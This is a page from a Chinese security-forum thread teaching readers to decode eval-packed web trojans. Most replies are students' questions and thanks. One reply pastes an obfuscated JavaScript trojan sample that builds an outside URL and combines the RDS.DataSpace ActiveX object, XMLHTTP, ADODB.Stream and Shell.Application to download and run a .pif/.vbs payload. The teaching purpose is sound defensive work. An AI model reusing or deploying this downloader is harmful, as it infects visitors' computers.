瑞星卡卡安全论坛技术交流区恶意网站交流 网马解密大讲堂——网马解密中级篇(Eval篇)

123   2  /  3  页   跳转

网马解密大讲堂——网马解密中级篇(Eval篇)

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

继续听课!又再次拜读了楼主的文章!
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

<script>alert("你好!")</script>
在这个例子中,“你好”前外面有符号("")

为什么在下面那个网马解密的代码中不再有("")?
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))



用遨游咋显示的是代码?
gototop
 

回复: 网马解密大讲堂——网马解密中级篇(Eval篇)



引用:
原帖由 地区性 于 2009-7-20 16:33:00 发表
<script>alert("你好!")</script>
在这个例子中,“你好”前外面有符号("")

为什么在下面那个网马解密的代码中不再有("")?

引号内才是要显示的警告框中的内容,学过C的话就会明白这个道理,其中的引号,括号是不会作为内容出现的
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

又学到一点东西:如何将警告框中的内容复制到剪贴板
gototop
 

回复 13F 幽灵楠 的帖子

需要将eval修改为alert,还有需要在代码开始和结尾需要添加<script></script>标签。
gototop
 

回复: 网马解密大讲堂——网马解密中级篇(Eval篇)

貌似是这样的 ?

gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

eval原来是执行语句的的意思啊
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

好亲切啊看着 再复习一遍
gototop
 

回复:网马解密大讲堂——网马解密中级篇(Eval篇)

排队学习..
gototop
 
123   2  /  3  页   跳转
页面顶部
Powered by Discuz!NT